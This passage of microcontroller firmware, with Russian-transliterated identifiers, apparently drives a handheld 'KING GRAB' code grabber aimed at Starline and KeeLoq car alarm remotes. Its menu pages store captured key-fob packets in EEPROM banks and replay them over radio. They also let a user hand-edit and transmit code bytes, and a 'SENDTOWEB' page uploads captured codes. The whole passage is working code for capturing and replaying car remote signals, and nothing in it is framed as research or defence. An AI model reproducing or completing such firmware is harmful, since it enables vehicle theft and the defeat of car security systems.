| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 7) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 11) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| ////////////////////////////////////////////////12////////////////////// | |
| else if (page == 12) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=11; | |
| } | |
| } | |
| /////////////////////////////////////////////////////////////////////13/////////////////////////////////////////// | |
| else if (page == 13) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| ///////////////////////////////////////////////////////////// 14 | |
| else if (page == 14) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=11; | |
| } | |
| } | |
| else if (page == 15) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 20) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 21) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 22) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 8) { | |
| delay(300); | |
| if(digitalRead(D3)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| } | |
| } | |
| void checkIfDownButtonIsPressed() | |
| { | |
| if (downButtonState != lastDownButtonState) | |
| { | |
| if (downButtonState == 0) | |
| { | |
| down=true; | |
| } | |
| delay(50); | |
| } | |
| lastDownButtonState = downButtonState; | |
| } | |
| void checkIfUpButtonIsPressed() | |
| { | |
| if (upButtonState != lastUpButtonState) | |
| { | |
| if (upButtonState == 0) { | |
| up=true; | |
| } | |
| delay(50); | |
| } | |
| lastUpButtonState = upButtonState; | |
| } | |
| void checkIfSelectButtonIsPressed() | |
| { | |
| if (selectButtonState != lastSelectButtonState) | |
| { | |
| if (selectButtonState == 0) { | |
| middle=true; | |
| } | |
| delay(50); | |
| } | |
| lastSelectButtonState = selectButtonState; | |
| } | |
| void drawMenu() | |
| { | |
| if (page==1) | |
| { | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor(BLACK, WHITE); | |
| display.setCursor(15, 0); | |
| display.print("KING GRAB"); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.setCursor(0, 15); | |
| kiop3 = 0; | |
| if (menuitem==1) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">KODE GRABBER"); | |
| display.setCursor(0, 25); | |
| ///4 punkt | |
| if (menuitem==4) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">MENU BRO"); | |
| display.setCursor(0, 35); | |
| ///////////////// | |
| if (menuitem==2) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(0, 36); | |
| display.print(">MEMORY"); | |
| //if (backlight) | |
| // { | |
| // display.print("ON"); | |
| // } | |
| // else | |
| // { | |
| // display.print("OFF"); | |
| // } | |
| display.display(); | |
| if (menuitem==3) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(15, 50); | |
| display.print("KING-GRAB"); | |
| display.display(); | |
| } | |
| //5stran | |
| if (page==5) | |
| { | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor(BLACK, WHITE); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.setCursor(0, 15); | |
| if (page==5&&menuitem==1) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">STARLINE"); | |
| display.setCursor(0, 25); | |
| ///4 punkt | |
| if (page==5&&menuitem==4) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">KEELOQ"); | |
| display.setCursor(0, 35); | |
| ///////////////// | |
| if (page==5&&menuitem==2) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(0, 36); | |
| display.print(">MEMORYSEND"); | |
| //if (backlight) | |
| // { | |
| // display.print("ON"); | |
| // } | |
| // else | |
| // { | |
| // display.print("OFF"); | |
| // } | |
| // if (menuitem==3) | |
| // { | |
| // display.setTextColor(WHITE, BLACK);/////////////NE POMESTILSA | |
| // } | |
| // else | |
| // { | |
| // display.setTextColor(BLACK, WHITE); | |
| // } | |
| // display.print(">LONG MEMORY"); | |
| // display.setCursor(10, 60); | |
| display.display(); | |
| } | |
| //end5 stran | |
| else if (page==2) | |
| { | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor(BLACK, WHITE); | |
| display.setCursor(15, 0); | |
| display.print("SCAN433"); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.setCursor(5, 15); | |
| display.print("Value"); | |
| display.setTextSize(2); | |
| display.setCursor(5, 25); | |
| display.print(contrast); | |
| display.setTextSize(2); | |
| display.display(); | |
| } | |
| else if (page==3) | |
| { | |
| // display.setTextSize(1); | |
| // display.clearDisplay(); | |
| // display.setTextColor( WHITE); | |
| // display.setCursor(15, 0); | |
| // display.print("PRIEM433"); | |
| // display.drawFastHLine(0,10,83,BLACK); | |
| // display.display(); | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor(BLACK, WHITE); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.setCursor(0, 15); | |
| if (page==3&&menuitem==1) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">MEMORY RESEND"); | |
| display.setCursor(0, 25); | |
| ///4 punkt | |
| if (page==3&&menuitem==4) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">MENU-BRO2"); | |
| display.setCursor(0, 35); | |
| ///////////////// | |
| if (page==3&&menuitem==2) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(0, 36); | |
| display.print(">SENDINGBTNR"); | |
| //if (backlight) | |
| // { | |
| // display.print("ON"); | |
| // } | |
| // else | |
| // { | |
| // display.print("OFF"); | |
| // } | |
| // if (menuitem==3) | |
| // { | |
| // display.setTextColor(WHITE, BLACK);/////////////NE POMESTILSA | |
| // } | |
| // else | |
| // { | |
| // display.setTextColor(BLACK, WHITE); | |
| // } | |
| // display.print(">LONG MEMORY"); | |
| // display.setCursor(10, 60); | |
| display.display(); | |
| } | |
| if(page==8){ | |
| kiop = 0; | |
| display.setTextSize(2); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("SENDTOWEB"); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.display(); | |
| if(digitalRead(D4)==LOW){ | |
| //display.clearDisplay(); | |
| display.setTextSize(1); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 45); | |
| display.print("keyloh-na-webe"); | |
| display.display(); | |
| delay(300); | |
| sendtowebkeyloh(); | |
| } | |
| if(digitalRead(9)==LOW){ | |
| //display.clearDisplay(); ///////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| display.setTextSize(1); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 30); | |
| display.print("star-na-webe"); | |
| display.display(); | |
| delay(300); | |
| sendtowebstar(); | |
| } | |
| } | |
| if(page==6){ | |
| if(digitalRead(D4)==LOW){ | |
| posilstarline2zapis(); | |
| } | |
| if(digitalRead(9)==LOW){ | |
| posilstarline1zapis(); | |
| } | |
| //end page 5 scobca | |
| } | |
| //////////////PAGR 7 | |
| if(page==7){ | |
| if(digitalRead(D4)==LOW){ | |
| posilkeeloq2zapis(); | |
| } | |
| if(digitalRead(9)==LOW){ | |
| posilkeeloq1zapis(); | |
| } | |
| //end page 7 scobca | |
| } | |
| ////////////PAGR 7 END | |
| if (page==9) { | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("memory-rewrite"); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.println(); | |
| display.println("up-sohranennokeeloq"); | |
| display.println(); | |
| display.println("dwn-sohranennostar"); | |
| display.println(); | |
| display.println(yacheyka); | |
| display.print("bank"); | |
| display.display(); | |
| if(digitalRead(9)==LOW){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(150+yacheyka, EEPROM.read(50)); | |
| EEPROM.write(151+yacheyka,EEPROM.read(51)); | |
| EEPROM.write(152+yacheyka,EEPROM.read(52)); | |
| EEPROM.write(153+yacheyka,EEPROM.read(53)); | |
| EEPROM.write(154+yacheyka,EEPROM.read(54)); | |
| EEPROM.write(155+yacheyka,EEPROM.read(55)); | |
| EEPROM.write(156+yacheyka,EEPROM.read(56)); | |
| EEPROM.write(157+yacheyka,EEPROM.read(57)); | |
| EEPROM.write(158+yacheyka,EEPROM.read(58)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| delay(100); | |
| EEPROM.begin(3512); | |
| EEPROM.write(160+yacheyka, EEPROM.read(60)); | |
| EEPROM.write(161+yacheyka,EEPROM.read(61)); | |
| EEPROM.write(162+yacheyka,EEPROM.read(62)); | |
| EEPROM.write(163+yacheyka,EEPROM.read(63)); | |
| EEPROM.write(164+yacheyka,EEPROM.read(64)); | |
| EEPROM.write(165+yacheyka,EEPROM.read(65)); | |
| EEPROM.write(166+yacheyka,EEPROM.read(66)); | |
| EEPROM.write(167+yacheyka,EEPROM.read(67)); | |
| EEPROM.write(168+yacheyka,EEPROM.read(68)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.println("sohranennokeeloq"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(150+yacheyka),HEX); | |
| display.print(EEPROM.read(151+yacheyka),HEX); | |
| display.print(EEPROM.read(152+yacheyka),HEX); | |
| display.print(EEPROM.read(153+yacheyka),HEX); | |
| display.print(EEPROM.read(154+yacheyka),HEX); | |
| display.print(EEPROM.read(155+yacheyka),HEX); | |
| display.print(EEPROM.read(156+yacheyka),HEX); | |
| display.print(EEPROM.read(157+yacheyka),HEX); | |
| display.print(EEPROM.read(158+yacheyka),HEX); | |
| display.println(); | |
| display.println("sohranennokeeloq"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(160+yacheyka),HEX); | |
| display.print(EEPROM.read(161+yacheyka),HEX); | |
| display.print(EEPROM.read(162+yacheyka),HEX); | |
| display.print(EEPROM.read(163+yacheyka),HEX); | |
| display.print(EEPROM.read(164+yacheyka),HEX); | |
| display.print(EEPROM.read(165+yacheyka),HEX); | |
| display.print(EEPROM.read(166+yacheyka),HEX); | |
| display.print(EEPROM.read(167+yacheyka),HEX); | |
| display.print(EEPROM.read(168+yacheyka),HEX); | |
| display.println(); | |
| display.println(); | |
| display.display(); | |
| delay(3000); | |
| } | |
| if(digitalRead(D3)==LOW){ | |
| yacheyka=yacheyka+100; | |
| delay(300); | |
| if(yacheyka>=1000){ | |
| yacheyka = 0; | |
| } | |
| } | |
| if(digitalRead(D4)==LOW){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(170+yacheyka, EEPROM.read(70)); | |
| EEPROM.write(171+yacheyka,EEPROM.read(71)); | |
| EEPROM.write(172+yacheyka,EEPROM.read(72)); | |
| EEPROM.write(173+yacheyka,EEPROM.read(73)); | |
| EEPROM.write(174+yacheyka,EEPROM.read(74)); | |
| EEPROM.write(175+yacheyka,EEPROM.read(75)); | |
| EEPROM.write(176+yacheyka,EEPROM.read(76)); | |
| EEPROM.write(177+yacheyka,EEPROM.read(77)); | |
| EEPROM.write(178+yacheyka,EEPROM.read(78)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| delay(100); | |
| EEPROM.begin(3512); | |
| EEPROM.write(180+yacheyka, EEPROM.read(80)); | |
| EEPROM.write(181+yacheyka,EEPROM.read(81)); | |
| EEPROM.write(182+yacheyka,EEPROM.read(82)); | |
| EEPROM.write(183+yacheyka,EEPROM.read(83)); | |
| EEPROM.write(184+yacheyka,EEPROM.read(84)); | |
| EEPROM.write(185+yacheyka,EEPROM.read(85)); | |
| EEPROM.write(186+yacheyka,EEPROM.read(86)); | |
| EEPROM.write(187+yacheyka,EEPROM.read(87)); | |
| EEPROM.write(188+yacheyka,EEPROM.read(88)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| //////// /vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.println("sohranenno-star"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(170+yacheyka),HEX); | |
| display.print(EEPROM.read(171+yacheyka),HEX); | |
| display.print(EEPROM.read(172+yacheyka),HEX); | |
| display.print(EEPROM.read(173+yacheyka),HEX); | |
| display.print(EEPROM.read(174+yacheyka),HEX); | |
| display.print(EEPROM.read(175+yacheyka),HEX); | |
| display.print(EEPROM.read(176+yacheyka),HEX); | |
| display.print(EEPROM.read(177+yacheyka),HEX); | |
| display.print(EEPROM.read(178+yacheyka),HEX); | |
| display.println(); | |
| display.println("sohranenno-star2"); | |
| display.print(EEPROM.read(180+yacheyka),HEX); | |
| display.print(EEPROM.read(181+yacheyka),HEX); | |
| display.print(EEPROM.read(182+yacheyka),HEX); | |
| display.print(EEPROM.read(183+yacheyka),HEX); | |
| display.print(EEPROM.read(184+yacheyka),HEX); | |
| display.print(EEPROM.read(185+yacheyka),HEX); | |
| display.print(EEPROM.read(186+yacheyka),HEX); | |
| display.print(EEPROM.read(187+yacheyka),HEX); | |
| display.print(EEPROM.read(188+yacheyka),HEX); | |
| delay(10); | |
| display.display(); | |
| delay(3000); | |
| } | |
| } | |
| //////////////////////////////////////////////////END PAGE 9/////////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////////////////////////PAGE 10/////////////////////////////////////////////////////////////////////// | |
| if (page==10){ | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("BANK"); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.println(); | |
| display.println("up-button kee"); | |
| display.println(); | |
| display.println("dwn-button star"); | |
| display.println(); | |
| display.println(yacheyka); | |
| display.print("bank"); | |
| display.display(); | |
| int btrgz = random(0,301); | |
| int btrgzknop = 189; | |
| EEPROM.begin(3512); | |
| starline_codePAK2zapisSBTR[0] = EEPROM.read(180+yacheyka); | |
| starline_codePAK2zapisSBTR[1] = EEPROM.read(181+yacheyka); | |
| starline_codePAK2zapisSBTR[2] = EEPROM.read(182+yacheyka); | |
| starline_codePAK2zapisSBTR[3] = EEPROM.read(183+yacheyka); | |
| starline_codePAK2zapisSBTR[4] = EEPROM.read(184+yacheyka); | |
| starline_codePAK2zapisSBTR[5] = EEPROM.read(185+yacheyka); | |
| starline_codePAK2zapisSBTR[6] = EEPROM.read(186+yacheyka); | |
| ///////// starline_codePAK2zapisSBTR[7] = btrgzknop; | |
| //////////// starline_codePAK2zapisSBTR[7] = btrgz;/////////////////////////////////random knop | |
| starline_codePAK2zapisSBTR[7] = EEPROM.read(187+yacheyka); | |
| starline_codePAK2zapisSBTR[8] = EEPROM.read(188+yacheyka);//////////////////2 paket////////////////////////////////////// | |
| delay(50); | |
| EEPROM.begin(3512); | |
| starline_codePAK1zapisSBTR[0] = EEPROM.read(170+yacheyka); | |
| starline_codePAK1zapisSBTR[1] = EEPROM.read(171+yacheyka); | |
| //starline_codePAK1zapisSBTR[2] = btrgzknop; | |
| starline_codePAK1zapisSBTR[2] = EEPROM.read(172+yacheyka); | |
| starline_codePAK1zapisSBTR[3] = EEPROM.read(173+yacheyka); | |
| starline_codePAK1zapisSBTR[4] = EEPROM.read(174+yacheyka); | |
| starline_codePAK1zapisSBTR[5] = EEPROM.read(175+yacheyka); | |
| starline_codePAK1zapisSBTR[6] = EEPROM.read(176+yacheyka); | |
| starline_codePAK1zapisSBTR[7] = EEPROM.read(177+yacheyka); | |
| starline_codePAK1zapisSBTR[8] = EEPROM.read(178+yacheyka);//////////////////1 paket////////////////////////////////////// | |
| delay(50); | |
| ///////////////////////////////////////////////////////////keyloh////////////////////////////////////////////// | |
| int btrgzkee = random(0,301); | |
| EEPROM.begin(3512); | |
| keelog_codePAK2zapisSBTR[0] = EEPROM.read(150+yacheyka); | |
| keelog_codePAK2zapisSBTR[1] = EEPROM.read(151+yacheyka); | |
| keelog_codePAK2zapisSBTR[2] = EEPROM.read(152+yacheyka); | |
| keelog_codePAK2zapisSBTR[3] = EEPROM.read(153+yacheyka); | |
| keelog_codePAK2zapisSBTR[4] = EEPROM.read(154+yacheyka); | |
| keelog_codePAK2zapisSBTR[5] = EEPROM.read(155+yacheyka); | |
| keelog_codePAK2zapisSBTR[6] = EEPROM.read(156+yacheyka); | |
| ///keelog_codePAK2zapisSBTR[7] = btrgzkee; | |
| keelog_codePAK2zapisSBTR[7] = EEPROM.read(157+yacheyka); | |
| keelog_codePAK2zapisSBTR[8] = EEPROM.read(158+yacheyka); | |
| ///keelog_codePAK2zapisSBTR[8] = EEPROM.read(158); | |
| ///////////////////////////2pak end//////////////// | |
| /////////////////////////////////////1 pak | |
| delay(50); | |
| EEPROM.begin(3512); | |
| keelog_codePAK1zapisSBTR[0] = EEPROM.read(160+yacheyka); | |
| keelog_codePAK1zapisSBTR[1] = EEPROM.read(161+yacheyka); | |
| keelog_codePAK1zapisSBTR[2] = EEPROM.read(162+yacheyka); | |
| keelog_codePAK1zapisSBTR[3] = EEPROM.read(163+yacheyka); | |
| keelog_codePAK1zapisSBTR[4] = EEPROM.read(164+yacheyka); | |
| keelog_codePAK1zapisSBTR[5] = EEPROM.read(165+yacheyka); | |
| keelog_codePAK1zapisSBTR[6] = EEPROM.read(166+yacheyka); | |
| keelog_codePAK1zapisSBTR[7] = EEPROM.read(167+yacheyka); | |
| keelog_codePAK1zapisSBTR[8] = EEPROM.read(168+yacheyka); | |
| if(digitalRead(9)==LOW){ | |
| keelog_sendzibaruy(keelog_codePAK1zapisSBTR); | |
| delay(3500); | |
| keelog_sendzibaruy2(keelog_codePAK2zapisSBTR); | |
| for(int i = 0; i<9; i++){ | |
| display.print(keelog_codePAK1zapisSBTR[i],HEX); | |
| delay(3); | |
| display.display(); | |
| } | |
| display.println(); | |
| display.println(); | |
| for(int i = 0; i<9; i++){ | |
| display.print(keelog_codePAK2zapisSBTR[i],HEX); | |
| delay(3); | |
| display.display(); | |
| } | |
| delay(3000); | |
| } | |
| if(digitalRead(D4)==LOW){ | |
| starline_sendPAK2zub1(starline_codePAK1zapisSBTR); | |
| delay(3500); | |
| starline_sendPAK2zub2(starline_codePAK2zapisSBTR); | |
| for(int i = 0; i<9; i++){ | |
| display.print(starline_codePAK1zapisSBTR[i],HEX); | |
| delay(3); | |
| display.display(); | |
| } | |
| display.println(); | |
| display.println(); | |
| for(int i = 0; i<9; i++){ | |
| display.print(starline_codePAK2zapisSBTR[i],HEX); | |
| delay(3); | |
| display.display(); | |
| } | |
| delay(3000); | |
| } | |
| if(digitalRead(D3)==LOW){ | |
| yacheyka=yacheyka+100; | |
| delay(300); | |
| if(yacheyka>=1000){ | |
| yacheyka = 0; | |
| } } | |
| } | |
| ///////////////////////////////////////////END PAGE 10/////////////////////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////PAGE 11/////////////////////////////////////////////////////////////////////////// | |
| if(page==11){ | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.setCursor(20, 0); | |
| display.print("BYTE"); | |
| display.println(); | |
| display.display(); | |
| shirt = 0; | |
| bitnumber = 0; | |
| if (page==11&&menuitem==1) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">VVOD 1 BIT"); | |
| display.setCursor(0, 25); | |
| ///4 punkt | |
| if (page==11&&menuitem==2) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">SEND"); | |
| display.setCursor(0, 35); | |
| ///////////////// | |
| if (page==11&&menuitem==3) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(0, 36); | |
| display.print(">VVOD 2 BIT"); | |
| display.display(); | |
| } | |
| /////////////////////////////////////////////////////END PAGE 11/////////////////////////////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////PAGE 12/////////////////////////////////////////////////////////////////////////// | |
| if(page==12){ | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("BYTE"); | |
| display.println(); | |
| display.print(bitnumber); | |
| display.print("-"); | |
| display.print(shirt); | |
| if(shirt==0){ | |
| display.print("-"); | |
| display.print("vvod po 1++"); | |
| } | |
| if(shirt==1){ | |
| display.print("-"); | |
| display.print("vvod po 10++"); | |
| } | |
| if(shirt==2){ | |
| display.print("-"); | |
| display.print("vvod po 10--"); | |
| } | |
| if(shirt==3){ | |
| display.print("-"); | |
| display.print("vvod po 1--"); | |
| } | |
| display.println(); | |
| display.display(); | |
| for(int i = 0; i<10; i++){ | |
| display.print(VVOD1[i],HEX); | |
| display.display(); | |
| } | |
| if(shirt>=4){ | |
| shirt = 0; | |
| } | |
| if(digitalRead(9)==LOW&&shirt==1){ | |
| display.println(); | |
| display.println("VVOD BIT++10"); | |
| display.display(); | |
| VVOD1[bitnumber]= VVOD1[bitnumber]+10; | |
| display.setCursor(20, 40); | |
| display.println(VVOD1[bitnumber],HEX); | |
| display.display(); | |
| } | |
| if(digitalRead(9)==LOW&&shirt==2){ | |
| display.println(); | |
| display.println("VVOD BIT--10"); | |
| display.display(); | |
| VVOD1[bitnumber]= VVOD1[bitnumber]-10; | |
| display.setCursor(20, 40); | |
| display.println(VVOD1[bitnumber],HEX); | |
| display.display(); | |
| } | |
| if(digitalRead(9)==LOW&&shirt==3){ | |
| display.println(); | |
| display.println("VVOD BIT--1"); | |
| display.display(); | |
| VVOD1[bitnumber]= VVOD1[bitnumber]-1; | |
| display.setCursor(20, 40); | |
| display.println(VVOD1[bitnumber],HEX); | |
| display.display(); | |
| } | |
| if(digitalRead(D3)==LOW){ | |
| bitnumber++; | |
| if(bitnumber>9){ | |
| bitnumber = 0; | |
| shirt++; | |
| } | |
| display.setCursor(0, 30); | |
| display.println(bitnumber); | |
| display.display(); | |
| } | |
| if(digitalRead(D4)==LOW){ | |
| display.println(); | |
| display.println("VVODi BIT"); | |
| display.display(); | |
| if(digitalRead(9)==LOW){ | |
| VVOD1[bitnumber]++; | |
| display.setCursor(20, 40); | |
| display.println(VVOD1[bitnumber],HEX); | |
| display.display(); | |
| } | |
| } | |
| ///byte VVOD2[9]; | |
| } | |
| /////////////////////////////////////////////////////END PAGE 12/////////////////////////////////////////////////////////////////////////// | |
| ///////////////////////////////////////////////////// PAGE 13/////////////////////////////////////////////////////////////////////////// | |
| if(page==13) { | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("SEND-BYTE"); | |
| display.println(); | |
| display.print(pagero); | |
| if(pagero>2){ | |
| display.println("keeloq"); | |
| } | |
| if(pagero<2){ | |
| display.println("starline"); | |
| } | |
| display.display(); | |
| if(digitalRead(D3)==LOW){ | |
| pagero++; | |
| if(pagero>4){ | |
| pagero = 0; | |
| } | |
| display.println(); | |
| display.println(pagero); | |
| display.display(); | |
| } | |
| //////////////////////////////////////////////////////////////////// | |
| if(digitalRead(9)==LOW){ | |
| if(pagero<1) | |
| { | |
| starline_sendVVOD1(VVOD1); | |
| display.println(); | |
| for(int i = 0; i<10; i++){ | |
| display.print(VVOD1[i],HEX); | |
| display.display(); | |
| } | |
| delay(400); | |
| } | |
| if(pagero>2){ | |
| keelog_sendVVOD1(VVOD1); | |
| display.println(); | |
| for(int i = 0; i<10; i++){ | |
| display.print(VVOD1[i],HEX); | |
| display.display(); | |
| } | |
| delay(400); | |
| } | |
| /// | |
| } | |
| ////////////////////////////// | |
| if(digitalRead(D4)==LOW){ | |
| if(pagero<1) | |
| { | |
| starline_sendVVOD2(VVOD2); | |
| display.println(); | |
| for(int i = 0; i<10; i++){ | |
| display.print(VVOD2[i],HEX); | |
| display.display(); | |
| } | |
| delay(400); | |
| } | |
| if(pagero>2){ | |
| keelog_sendVVOD2(VVOD2); | |
| display.println(); | |
| for(int i = 0; i<10; i++){ | |
| display.print(VVOD2[i],HEX); | |
| display.display(); | |
| } | |
| delay(400); | |
| } | |
| /// | |
| } | |
| } | |
| /////////////////////////////////////////////////////END PAGE 13/////////////////////////////////////////////////////////////////////////// | |
| /////////////////////////////////////////////////////PAGE 14/////////////////////////////////////////////////////////////////////////// | |
| if(page==14){ | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("BYTE-2"); | |
| display.println(); | |
| display.print(bitnumber); | |
| display.print("-"); | |
| display.print(shirt); | |
| if(shirt==0){ | |
| display.print("-"); | |
| display.print("vvod po 1++"); | |
| } | |
| if(shirt==1){ | |
| display.print("-"); | |
| display.print("vvod po 10++"); | |
| } | |
| if(shirt==2){ | |
| display.print("-"); | |
| display.print("vvod po 10--"); | |
| } | |
| if(shirt==3){ | |
| display.print("-"); | |
| display.print("vvod po 1--"); | |
| } | |
| display.println(); | |
| display.display(); | |
| for(int i = 0; i<10; i++){ | |
| display.print(VVOD2[i],HEX); | |
| display.display(); | |
| } | |
| if(shirt>=4){ | |
| shirt = 0; | |
| } | |
| if(digitalRead(9)==LOW&&shirt==1){ | |
| display.println(); | |
| display.println("VVOD BIT++10"); | |
| display.display(); | |
| VVOD2[bitnumber]=VVOD2[bitnumber]+10; | |
| display.setCursor(20, 40); | |
| display.println(VVOD2[bitnumber],HEX); | |
| display.display(); | |
| } | |
| if(digitalRead(9)==LOW&&shirt==2){ | |
| display.println(); | |
| display.println("VVOD BIT--10"); | |
| display.display(); | |
| VVOD2[bitnumber]=VVOD2[bitnumber]-10; | |
| display.setCursor(20, 40); | |
| display.println(VVOD2[bitnumber],HEX); | |
| display.display(); | |
| } | |
| if(digitalRead(9)==LOW&&shirt==3){ | |
| display.println(); | |
| display.println("VVOD BIT--1"); | |
| display.display(); | |
| VVOD2[bitnumber]=VVOD2[bitnumber]-1; | |
| display.setCursor(20, 40); | |
| display.println(VVOD2[bitnumber],HEX); | |
| display.display(); | |
| } | |
| if(digitalRead(D3)==LOW){ | |
| bitnumber++; | |
| if(bitnumber>9){ | |
| bitnumber = 0; | |
| shirt++; | |
| } | |
| display.setCursor(0, 30); | |
| display.println(bitnumber); | |
| display.display(); | |
| } | |
| if(digitalRead(D4)==LOW){ | |
| display.println(); | |
| display.println("VVODi BIT"); | |
| display.display(); | |
| if(digitalRead(9)==LOW){ | |
| VVOD2[bitnumber]++; | |
| display.setCursor(20, 40); | |
| display.println(VVOD2[bitnumber],HEX); | |
| display.display(); | |
| } | |
| } | |
| ///byte VVOD2[9]; | |
| } | |
| /////////////////////////////////////////////////////END PAGE 14/////////////////////////////////////////////////////////////////////////// | |
| ///////////////////////////////////////////////////// PAGE 15/////////////////////////////////////////////////////////////////////////// | |
| if(page==15){ | |
| ////pakiweb = 0; | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.println(pakiweb); | |
| if(pakiweb==0){ | |
| display.print("-"); | |
| display.print("sendstarline"); | |
| } | |
| if(pakiweb==1){ | |
| display.print("-"); | |
| display.print("sendkeyloh"); | |
| } | |
| display.display(); | |
| EEPROM.begin(3512); | |
| webpak1[0]=EEPROM.read(200); | |
| webpak1[1]=EEPROM.read(201); | |
| webpak1[2]=EEPROM.read(202); | |
| webpak1[3]=EEPROM.read(203); | |
| webpak1[4]=EEPROM.read(204); | |
| webpak1[5]=EEPROM.read(205); | |
| webpak1[6]=EEPROM.read(206); | |
| webpak1[7]=EEPROM.read(207); | |
| webpak1[8]=EEPROM.read(208); | |
